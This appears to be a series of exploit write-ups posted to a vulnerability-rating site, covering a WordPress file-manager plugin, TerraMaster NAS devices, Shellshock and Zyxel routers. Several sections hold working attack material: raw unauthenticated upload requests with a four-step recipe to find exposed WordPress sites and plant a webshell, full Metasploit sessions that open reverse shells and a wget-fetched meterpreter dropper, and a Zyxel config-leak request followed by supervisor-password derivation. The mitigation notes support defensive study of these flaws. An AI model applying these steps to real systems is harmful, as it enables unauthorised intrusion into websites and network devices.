Please update your Openfire application to version 4.8.0 or higher and or upgrade to the patched versions 4.7.5 or 4.6.8.

References

Igniterealtime Security Advisory
CVE-2023-32315
Openfire Authentication Bypass RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18173
Openfire plugin development
Openfire release downloads
Openfire installation instructions

1
Ratings
Technical Analysis

WordPress is one of the most used web application platforms on the Internet with million and million of installations. The platform provides a huge amount of content with so called plugins that enables certain functionality such as payment services, file managers, web forms, security and much more.
It is on one side great to have such rich functionality available in the platform, but the downside is that these plugins can also trigger a lot of vulnerabilities.
And indeed, the WordPress platform has become infamous for the huge amount of vulnerabilities introduced at the platform over the last couple of years.

This writeup is a perfect example where a plugin File Manager Advanced and an add-on File Manager Advanced Shortcode introduced a vulnerability where an unauthenticated malicious actor can upload a webshell and execute payloads that provides unauthorized access to the operating system below.

Let me first explain a bit what a shortcode is in the WordPress world.
A shortcode is a specially formatted text tag that opens and closes with square brackets and can be placed directly in a post or a page of your blog. This tag is automatically interpreted by WordPress and allows you to add features without having to program code. You can recognize a shortcode section by seeing brackets like [this], that performs a dedicated function on your site. You can place it just about anywhere you’d like, and it will add a specific feature to your page, post, or other content. For example, you can use shortcodes to display galleries, videos, or even playlists.

WordPress has several plugins that delivers specific functionality that you can use and the File Manager Advanced Shortcode plugin is one of these features that allows you to code File Manager Advanced functionality on a page or post using shortcodes.

The section below shows an example of a shortcode using the File Manager Advanced Shortcode plugin that allows you to upload or download files depending on the shortcode configuration. For instance, at the example below a login is required to upload or download files (authenticated).

[file_manager_advanced login="yes" roles="author,editor,administrator" path="wp-content" hide="plugins"
operations="download,upload" block_users="5" view="grid" theme="light" lang ="en" upload_allow="image/png" upload_max_size="2G"]

and the shortcode will provide the file manager functionality on the page below when published.

File Manager Advanced Shortcode.

So far, so good, but what is now exactly the issue with this plugin?

To understand this a bit better, let’s first explore what is happening under the hood if we upload a small png file (ruby.png).
We will capture the HTTP request and response with burpsuite.
The actual upload happens with a POST request and form data that is shown below.

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.201.10
Content-Length: 2502
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vP3o9u9S2AIn7Ex
Accept: */*
Origin: http://192.168.201.10
Referer: http://192.168.201.10/wordpress/index.php/fma-auth/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C690658a3c5dab7494d7840e3d4ecfdfdf17494f6ae163a3fd3ac8093e1529784; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C5666c9036374c0c892b17a6abaf647dc5baf618ca489084627fde0df45b80d8f; wfwaf-authcookie-dd668d04efe9e4ab71eb81bd40139a86=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C0f200eccb75504c01e48ae0344893dd5df62a8aad161c24058089881c58bfbfc; PHPSESSID=2csqd51ghug6138llcu5dtskjm
Connection: close

------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="reqid"

188fdc67f782e3
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="cmd"

upload
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="target"

l1_Lw
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="action"

fma_load_shortcode_fma_ui
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="_fmakey"

d2ef442bd5
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="path"

wp-content
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="url"


------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="w"

false
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="r"

true
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="hide"

plugins
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="operations"

download,upload
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="path_type"

inside
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="hide_path"

no
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="enable_trash"

no
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="upload_allow"

image/png
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="upload_max_size"

2G
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="upload[]"; filename="ruby.png"
Content-Type: image/png

PNG
<PNG content>

------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="mtime[]"

1687884791
------WebKitFormBoundary1vP3o9u9S2AIn7Ex--

The question is of course, what will happen if we start manipulating the parameters in the form data and issue a POST request again.
Will that work?
Lets try an LFI, by manipulating the path parameter which is set to wp-content directory but will be set to empty (basically set to the wordpress root directory).

Surprise, surprise !!!!
ruby.png get nicely uploaded in the wordpress root directory.

HTTP/1.1 200 OK
Date: Tue, 27 Jun 2023 17:13:33 GMT
Server: Apache/2.4.57 (Debian)
Access-Control-Allow-Origin: http://192.168.201.10
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Set-Cookie: PHPSESSID=h7komipqhl6l43bfq0beqgi23f; path=/
Content-Length: 1742
Connection: close
Content-Type: application/json; charset=utf-8

{"added":[
   {
     "isowner":false,
     "ts":1687886014,
     "mime":"image\/png",
     "read":1,
     "write":1,
     "size":"592",
     "hash":"l1_cnVieS5wbmc",
     "name":"ruby.png",
     "phash":"l1_Lw",
     "tmb":1,
     "url":"http:\/\/192.168.201.10\/wordpress\/ruby.png"
   }
],

What if we try to bypass authentication by removing the cookies. Will that work?
Of course, the file gets nicely uploaded again.

Last but not least, can manipulate the mime-types to upload PNG images files with embedded PHP code that we can execute.
And again the answer is yes. See this video on YouTube.

Basically, you can manipulate all parameters as long as you have the _fmakey. This is the only parameter that needs to be set to issue a POST request that allows for all kind of operations, like upload, download and others.

What is exactly this _fmakey and more important, where do we find it?

I could not find much on this key, but we need to set this key to get the POST request satisfied.
Man would think that it would be encrypted during runtime with a complex encryption algorithm, but the reality is much simpler.
The _fmakey and its value is stored on the web page where File Manager Advanced shortcode functionality is embedded. With view source you can easily find it on the web page (see the excerpt below).

<script src='http://192.168.201.10/wordpress/wp-content/plugins/file-manager-advanced-shortcode/js/shortcode.js?ver=6.2.2' id='file_manager_advanced-fma-shortcode-js-js'></script>
<script id='file_manager_advanced-fma-shortcode-js-js-after'>
jQuery(document).ready(function(){
	var afmui = ['toolbar', 'tree', 'path', 'stat'];
	var fma_ui_opt = '';
	if(fma_ui_opt != '') {
	  var fmui_params = fma_ui_opt;
	if(fmui_params == 'files') {
	  var afmui = [];
	} else 
	  var afmui = fmui_params.split(',');
	 }
   jQuery('#file_manager_advanced').elfinder(
	  {
		  cssAutoLoad : false, 
		  url : 'http://192.168.201.10/wordpress/wp-admin/admin-ajax.php',						
		  lang:  'en',					
		  defaultView : 'grid',
		  dateFormat : 'M d, Y h:i A',
		  customData : {action: 'fma_load_shortcode_fma_ui',
		 _fmakey: 'd2ef442bd5',
		  path:'wp-content',
		  url: '',
		  w: 'false',
		  r: 'true',
		  hide: 'plugins',
		  operations: 'download,upload',
		  path_type: 'inside',
		  hide_path: 'no',
		  enable_trash: 'no',
		  upload_allow: 'image/png',
		  upload_max_size: '2G',
	      },
		  height: '',
		  width: '',
		  ui: afmui,
	  });
});
</script>

For older versions of the plugin, you have to search for the _fmakey on the page embedded in the fmaatts var.

var fmaatts = {"ajaxurl":"http:\/\/192.168.201.55\/wp-admin\/admin-ajax.php","lang":"us","view":"grid","dateformat":"M d, Y h:i A","action":"fma_load_shortcode_fma_ui","fmakey":"92b7949dd9","path":"wp-content\/uploads\/musicfiles","url":"","w":"false","r":"true","hide":"plugins","operations":"all","path_type":"inside"};

Well, how easy can you make it for an attacker to craft a POST request that uploads a malicious file with payload that can be executed.
I would say, DEAD EASY!!!

The steps are simple.

  1. Find WordPress web sites with pages where the _fmakey is embedded (TIP: use a Source Code Search Engine like PublicWWW).
  2. Retrieve the _fmakey.
  3. Craft a POST request that uploads a malicious PNG file with PHP code embedded by using the _fmakey and manipulating the cmd, operations and mime-types parameters.
  4. Execute the malicious PNG file and enjoy a reverse shell or meterpreter.

Of course, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18142 at the Metasploit Github development.

I have tested the module on a WordPress base installation version 6.2.2 on Linux and Windows Server 2019 with File Manager Advanced 5.0.5 and File Manager Advanced Shortcode 2.3.2 installed. Works as a charm…

Also tested the module with a basic setup of WordFence and it bypassed the WAF as far as I could test it.

Mitigation

Please update your File Manager Advanced plugin to version 5.1 or higher and update the File Manager Advanced Shortcode plugin to version 2.4 or higher.

References

WPScan advisory
File Manager Advanced Shortcode RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18142
Exploit DB
Packet Storm

Credits

Mateus Machado Tesser Discovery

1
Ratings
Technical Analysis

This is the third exploit a.k.a. TerrorMaster 3 targeting TerraMaster NAS devices running TerraMaster Operating System (TOS) 4.2.29 or lower.

Octagon Networks published in March 2022 an analysis CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation explaining a chain of vulnerabilities that makes all TerraMaster NAS servers running TOS version 4.2.29 and lower vulnerable for an unauthenticated RCE.

It basically combines CVE-2022-24990: Leaking sensitive information and CVE-2022-24989: Authenticated remote code execution to achieve an unauthenticated RCE by exploiting vulnerable endpoint api.php?mobile/webNasIPS leaking sensitive information such as admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpointapi.php?mobile/createRaid with POST parameters raidtype / diskstring to execute remote code as root on TerraMaster NAS devices.

As usual, you can find the third module here in my local repository or as PR 18086 submitted at the Metasploit Github development.

With release of TOS 5.x, all of these vulnerabilities are now mitigated, but I would not be surprised that in the near future, some new exploits will come to surface looking back at the ugly history of TerraMaster flaws in the past.

Mitigation

Please update your TOS version up to the latest supported TOS 4.2.x version or TOS 5.x version to be protected against all known vulnerabilities and do NOT to expose your TerraMaster NAS devices directly to the Internet.

References

CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation
POC 0xf4n9x
CVE-2022-24990
CVE-2022-24989
TerrorMaster 3 – h00die-gr3y Metasploit local repository
TerrorMaster 3 – Metasploit PR 18086
TerrorMaster 1
TerrorMaster 2

Credits

Octagon Networks
0xf4n9x

2
Ratings
Technical Analysis

This the second module in the sequel of TerrorMaster releases.

TerrorMaster 2 is based on the vulnerability analysis work of n0tme that was conducted in December 2021 during Christmas time.
N0tme discovered a few new vulnerabilities on the TerraMaster F2-210 and F4-210 model and chained them together into an unauthenticated RCE.
The full analysis can be found here How to summon RCEs.

In this article, I will only quickly summarize the RCE chain and introduce the Metasploit module.

The Terramaster chained exploit uses session crafting to achieve escalated privileges that allows an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.
CVE-2021-45839 is exploited to obtain the first administrator’s hash set up on the system as well as other information such as MAC address, by performing a POST request to the /module/api.php?mobile/webNasIPS vulnerable endpoint.
This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker can self-sign session cookies by knowing the target MAC address and the user password hash.
Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker to login as guest. This is used to download the /etc/group info to obtain the list of admin users, used to establish an unauthenticated admin session thru session crafting..

Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted input to vulnerable endpoint /tos/index.php?app/del.

I slightly modified the original POC where the vulnerable endpoint /module/api.php?mobile/wapNasIPS was used to obtain the admin hash. In some cases, it did not provide this info, whilst endpoint /module/api.php?mobile/webNasIPS has proven to be more reliable.

As usual, you can find the module here in my local repository or as PR 18070 at the Metasploit Github development.

Mitigation

Please update your TOS version up to the latest supported TOS 4.2.x version or TOS 5.x version to be protected against all known vulnerabilities and do NOT to expose your TerraMaster NAS devices directly to the Internet.

References

How to summon RCEs by n0tme
CVE-2021-45839
CVE-2021-45841
CVE-2021-45837
TerrorMaster 2 – h00die-gr3y Metasploit local repository
TerrorMaster 2 – Metasploit PR 18070
TerrorMaster 1
TerrorMaster 3

Credits

N0tme

1
Ratings
Technical Analysis

Last two weeks, I spent some time on a TerraMaster F2-221 NAS server that I got from an old friend running TerraMaster Operating System (TOS) 4.x.
Research on the Internet shows that this server is full with vulnerabilities up to TOS 4.2.29. Surprisingly, no Metasploit modules were made to exploit these NAS servers and there are still plenty of vulnerable NAS servers connected to the Internet.

So I took the liberty to write three nice modules that exploits these NAS servers targeting different vulnerabilities.
This article is covering the first of three modules, called TerrorMaster 1 like we do with “good” movies released in the cinema. You can find the articles on TerrorMaster 2 here and TerrorMaster 3 here.

In December 2020, the IHTeam reported multiple vulnerabilities on TerraMaster NAS devices running TOS version 4.2.06 or lower.
You can read their analysis/advisory here.

TerrorMaster 1 is exploiting a vulnerability described in CVE-2020-35665 or CVE-2020-28188 that allows an unauthenticated attacker to create /upload a webshell via shell metacharacters in the Event parameter using the vulnerable endpoint include/makecvs.php during the CSV creation process.

You can find the module here in my local repository or as PR 18063 at the Metasploit Github development.

Mitigation

Please update your TOS version up to the latest supported TOS 4.2.x version or TOS 5.x version to be protected against all known vulnerabilities.
I strongly advice NOT to expose your TerraMaster NAS devices directly to the Internet, because you could end-up in a situation depicted below where your server has become a victim of ransomware.
Ransomeware.

References

IHTeam advisory
TerrorMaster 1 – h00die-gr3y Metasploit local repository
TerrorMaster 1 – Metasploit PR 18063
TerrorMaster 2
TerrorMaster 3

Credits

IHTeam

3
Ratings
Technical Analysis

An Golden Oldie from 2014 that is still very relevant nowadays.

In my recent research of security vulnerabilities, I bumped into several targets that were still vulnerable to CVE-2014-6271 a.k.a. Shellshock and CVE-2014-6278. You should not be surprised that most of these targets are IoT based with an embedded Linux/Unix image running a vulnerable bash version. They typically do not get updated at all and are easy targets for a malicious actor to find an entry point into the network.

Metasploit modules like exploit/multi/http/apache_mod_cgi_bash_env_exec, are pretty restricted to launch an attack due to the limited platform support (only x86) and payloads that can be leveraged in an attack. This brought me to rewrite this module a bit so that it would support multiple platforms (ARM, x86, x64, MIPS) and multiple payloads such as Unix command and Linux Dropper. The module name is multi/http/bash_env_cgi_rce.

To test the module locally, you download a vulnerable bash version from https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz. Any version published before September 2014 is okay. Just extract it in a local directory and compile it with ./configure && make.

Configure an Apache or any other preferred web server to support CGI scripts. You can find tons of instructions on the web how to do that.
Just create a script like below using the vulnerable bash version and add this to the cgi-bin directory of your preferred web server.

#!/bin/bash_CVE_2014_6271
echo "Content-type: text/plain"
echo
echo
echo "Hello World"

Download module from here and follow the install instructions.
Start msfconsole and play around with the different options and payloads.

msf6 > use exploits/multi/http/bash_env_cgi_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/bash_env_cgi_rce) > options

Module options (exploit/multi/http/bash_env_cgi_rce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CVE          Automatic        yes       CVE to check/exploit (Accepted: Automatic, CVE-2014-62
                                           71, CVE-2014-6278)
   HEADER       User-Agent       yes       HTTP header to use
   METHOD       GET              yes       HTTP method to use
   PAYLOADSIZE  2048             yes       Payload size used by the CmdStager
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port
                                           ][...]
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/do
                                           cs/using-metasploit/basics/using-metasploit.html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly
                                           generated)
   TARGETURI                     yes       Path to CGI script
   URIPATH                       no        The URI to use for this exploit (default is random)
   VHOST                         no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This mus
                                       t be an address on the local machine or 0.0.0.0 to listen
                                       on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


View the full module info with the info, or info -d command.

msf6 exploit(multi/http/bash_env_cgi_rce) > set rhosts 192.168.201.10
rhosts => 192.168.201.10
msf6 exploit(multi/http/bash_env_cgi_rce) > set targeturi /cgi-bin/test.cgi
targeturi => /cgi-bin/test.cgi
msf6 exploit(multi/http/bash_env_cgi_rce) > check

[*] Target is vulnerable for CVE-2014-6271.
[*] Target is vulnerable for CVE-2014-6278.
[+] 192.168.201.10:80 - The target is vulnerable.
msf6 exploit(multi/http/bash_env_cgi_rce) > set lhost 192.168.201.10
lhost => 192.168.201.10
msf6 exploit(multi/http/bash_env_cgi_rce) > set lport 4444
lport => 4444
msf6 exploit(multi/http/bash_env_cgi_rce) > exploit

[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is vulnerable for CVE-2014-6271.
[*] Target is vulnerable for CVE-2014-6278.
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_bash using vulnerability CVE-2014-6271.
[*] Command shell session 1 opened (192.168.201.10:4444 -> 192.168.201.10:35766) at 2023-05-21 15:01:17 +0000

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64 GNU/Linux

Python Meterpreter payload example

msf6 exploit(multi/http/bash_env_cgi_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/bash_env_cgi_rce) > exploit

[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is vulnerable for CVE-2014-6271.
[*] Target is vulnerable for CVE-2014-6278.
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp using vulnerability CVE-2014-6271.
[*] Sending stage (24772 bytes) to 192.168.201.10
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.10:35678) at 2023-05-21 15:03:48 +0000

meterpreter > sysinfo
Computer     : cerberus
OS           : Linux 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03)
Architecture : aarch64
Meterpreter  : python/linux
meterpreter > getuid
Server username: www-data
meterpreter >

Linux File dropper using payload: linux/aarch64/meterpreter_reverse_tcp

msf6 exploit(multi/http/bash_env_cgi_rce) > set target 1
target => 1
msf6 exploit(multi/http/bash_env_cgi_rce) > set payload linux/aarch64/meterpreter_reverse_tcp
payload => linux/aarch64/meterpreter_reverse_tcp
msf6 exploit(multi/http/bash_env_cgi_rce) > set CMDSTAGER::FLAVOR wget
CMDSTAGER::FLAVOR => wget
msf6 exploit(multi/http/bash_env_cgi_rce) > exploit

[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is vulnerable for CVE-2014-6271.
[*] Target is vulnerable for CVE-2014-6278.
[+] The target is vulnerable.
[*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp using vulnerability CVE-2014-6271.
[*] Using URL: http://192.168.201.10:8080/ZzirBKe
[*] Client 192.168.201.10 (Wget/1.21.3) requested /ZzirBKe
[*] Sending payload to 192.168.201.10 (Wget/1.21.3)
[*] Meterpreter session 3 opened (192.168.201.10:4444 -> 192.168.201.10:34346) at 2023-05-21 15:10:11 +0000
[*] Command Stager progress - 100.00% done (114/114 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.201.10
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > getuid
Server username: www-data
meterpreter >

If you use CMDSTAGER::FLAVOR option bourne or printf, please ensure that your payload size is 2048 or below.
You can control this with the option PAYLOADSIZE

Have fun !!!

References

Metasploit module multi/http/bash_env_cgi_rce

1

A very nice and detailed analysis of a POC that exploits this vulnerability => A More Complete Exploit for Fortinet CVE-2022-42475
and another reference to a POC => Producing a POC for CVE-2022-42475 (Fortinet RCE)

2
Ratings
Technical Analysis

In December 2022, SEC Consult released a blog with the title The enemy from within: Unauthenticated Buffer Overflows in Zyxel routers still haunting users . The blog explains an unauthenticated buffer overflow in more then 40 different Zyxel router models and the fast amount of thousands of routers that are vulnerable and accessible via the Internet.
The impact is still quite limited because the published Metasploit exploit module only works from the LAN side.

However, the Unauthenticated Buffer Overflow is not the only vulnerability on these routers and SEC Consult discovered another 7 vulnerabilities that are described in their security analysis Multiple Critical Vulnerabilities in multiple Zyxel devices.
While reading the security analysis and reviewing the other vulnerabilities, I discovered a new opportunity to build an exploit by chaining two other vulnerabilities that will allow an unauthenticated attacker to get privileged access to the Zyxel router from either the WAN or LAN side. The potential of this exploit to attack from the WAN side makes it quite dangerous taking into account the large number of non-patched Zyxel routers out there on the Internet.

Recently, CVE-2023-28770 has been released covering the LFI vulnerability that is used in this chained exploit.

Zyxel router chained RCE

Exploiting an unauthenticated local file disclosure (LFI) vulnerability and a weak password derivation algorithm

The first vulnerability that stood out to me is the LFI vulnerability that is discussed in section 2 of the Security Analysis by SEC Consult.
The LFI vulnerability is present in the zhttp binary that allows an unauthenticated attacker to read the entire configuration of the router via the vulnerable endpoint /Export_Log?/data/zcfg_config.json.

The burp request below shows a redacted response of the information that is disclosed such as encrypted passwords, account information, information on services configuration (FTP, Telnet, SSH), and hardware details such as serial number, hardware model etc. In total around 4000 lines of nested JSON information that you would not like to share with anyone out there.

LFI Burp request and response

GET /Export_Log?/data/zcfg_config.json HTTP/1.1
Host: zyxel-vuln-router:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: close

Response (REDACTED)

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 148678
Date: Fri, 14 Apr 2023 08:47:46 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'

---- Hardware Information ----
{
    "Manufacturer":"ZYXEL",
    "ManufacturerOUI":"XXXXX",
    "ModelName":"VMG3625-T20A",
    "Description":"Wireless AC VDSL2 4-port Gateway with USB",
    "ProductClass":"VMG3625-T20A",
    "SerialNumber":"S000Y00000000",
    "SoftwareVersion":"V5.30(ABOU.2)b1_I0_20180821",
    "AdditionalHardwareVersion":"",
    "AdditionalSoftwareVersion":"",
    "UpTime":607055,
    "FirstUseDate":"2023-03-21T09:07:41",
    "VendorConfigFileNumberOfEntries":0,
    "SupportedDataModelNumberOfEntries":0,
    "ProcessorNumberOfEntries":0,
    "VendorLogFileNumberOfEntries":0,
    "LocationNumberOfEntries":0,
    "FixManufacturerOUI":""
  },

---- Account Information----
"X_ZYXEL_LoginCfg":{
    "LoginGroupConfigurable":true,
    "LogGp":[
      {
        "GP_Privilege":"_encrypt_XXXXXXXXXXXXXX",
        "Account":[
          {
            "AutoShowQuickStart":false,
            "Enabled":true,
            "EnableQuickStart":true,
            "Page":"",
            "Username":"root",
            "Password":"",
            "PasswordHash":"",
            "Privilege":"_encrypt_XXXXXXXXXXXXX",
            "GetConfigByFtp":true,
            "DefaultPassword":"_encrypt_XXXXXXXXXXXXXX",
            "DefaultGuiPassword":"",
            "ResetDefaultPassword":false,
            "shadow":"root:$6$XXXXXXXXXXX:0::::::\n",
            "smbpasswd":"root:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U          ]:LCT-0000004E:\n",
            "ConfigAccountFromWAN":false,
            "DefPwLength":8,
            "AccountCreateTime":0,
            "AccountRetryTime":3,
            "AccountIdleTime":300,
            "AccountLockTime":300,
            "RemoHostAddress":"",
            "DotChangeDefPwd":false,
            "ShowSkipBtnInChgDefPwdPage":false,
            "AutoGenPwdBySn":false,
            "RemoteAccessPrivilege":"LAN",
            "OldDefaultPassword":"",
            "CardOrder":"",
            "ThemeColor":"",
            "HiddenPage":""
          },
          {
            "AutoShowQuickStart":false,
            "Enabled":true,
            "EnableQuickStart":true,
            "Page":"",
            "Username":"supervisor",
            "Password":"",
            "PasswordHash":"",
            "Privilege":"_encrypt_XXXXXXXXXXX",
            "DefaultPassword":"_encrypt_XXXXXXXXXXX",
            "DefaultGuiPassword":"",
            "ResetDefaultPassword":false,
            "shadow":"supervisor:$6$XXXXXXXXXX:0::::::\n",
            "smbpasswd":"supervisor:12:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U          ]:LCT-0000004E:\n",
            "ConfigAccountFromWAN":false,
            "DefPwLength":8,
            "AccountCreateTime":0,
            "AccountRetryTime":3,
            "AccountIdleTime":300,
            "AccountLockTime":300,
            "RemoHostAddress":"",
            "DotChangeDefPwd":false,
            "ShowSkipBtnInChgDefPwdPage":false,
            "AutoGenPwdBySn":false,
            "RemoteAccessPrivilege":"LAN",
            "OldDefaultPassword":"",
            "CardOrder":"",
            "ThemeColor":"",
            "HiddenPage":""
          }
        ],
        "Level":"high"
      },

---- Service Information ----
  "X_ZYXEL_RemoteManagement":{
    "Service":[
      {
        "Name":"HTTP",
        "Enable":true,
        "Protocol":6,
        "Port":8080,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":1,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"HTTPS",
        "Enable":true,
        "Protocol":6,
        "Port":443,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"FTP",
        "Enable":true,
        "Protocol":6,
        "Port":21,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"TELNET",
        "Enable":true,
        "Protocol":6,
        "Port":23,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"SSH",
        "Enable":true,
        "Protocol":6,
        "Port":22,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },

Now this information disclosure in itself will not pose a direct threat to these routers, but of course attackers could try to crack the obtained encrypted shadow passwords, but this will take a long time.

So is there any other way to use the disclosed information for a successful attack?
And of course the answer is YES!

The second vulnerability that comes into play is the vulnerability described in section 3 of the analysis, “Unsafe Storage of Sensitive Data”.
It explains the password derivation technique used to decrypt the _encrypted_XXXXXX passwords in the JSON configuration file using a static AES Key and IV.
But my attention was more drawn to another analysis Getting root on a Zyxel VMG8825-T50 router done by Thomas Rinsma in 2020 that was referenced at the bottom of the section and where Thomas explains the password derivation techniques used on Zyxel routers.
In particular, section “Tangent 2: key and password derivation mechanisms” is quite interesting which describes in detail how the supervisor user password can be derived using the serial key of the router.

So what if we use the LFI vulnerability to get the serial key of the router and try to crack the supervisor password using this password derivation technique.
We can then use the disclosed router services information to check if ssh or telnet is enabled and accessible from the WAN and try to login as supervisor to gain access to the router.

Bogi Napoleon Wennerstrøm has reverse engineered and implemented some of these derivation functions producing the supervisor password.
His repository can be found here on Github.
I tested his password derivation functions and indeed I can confirm that either zcfgBeCommonGenKeyBySerialNumMethod2 or zcfgBeCommonGenKeyBySerialNumMethod3 are working on vulnerable Zyxel routers.

# python ./main.py S000Y00000000
zcfgBeCommonGenKeyBySerialNum                   : A43338B488
zcfgBeCommonGenKeyBySerialNum_CBT               : UdcTaX78
zcfgBeCommonGenKeyBySerialNumMethod2            : 2dc1a078  <==
zcfgBeCommonGenKeyBySerialNumMethod3            : 58Pxnwdefr <==
zcfgBeCommonGenKeyBySerialNumConfigLength(1)    : EXXAY7XF
zcfgBeCommonGenKeyBySerialNumConfigLength(2)    : 4UxwvUxf
zcfgBeCommonGenKeyBySerialNumConfigLength(3)    : 4UxavUxf
zcfgBeCommonGenKeyBySerialNumConfigLengthOld(1) : EXXAY7XF
zcfgBeCommonGenKeyBySerialNumConfigLengthOld(2) : 4UxwvUxf
zcfgBeCommonGenKeyBySerialNumConfigLengthOld(3) : 4UxavUxf
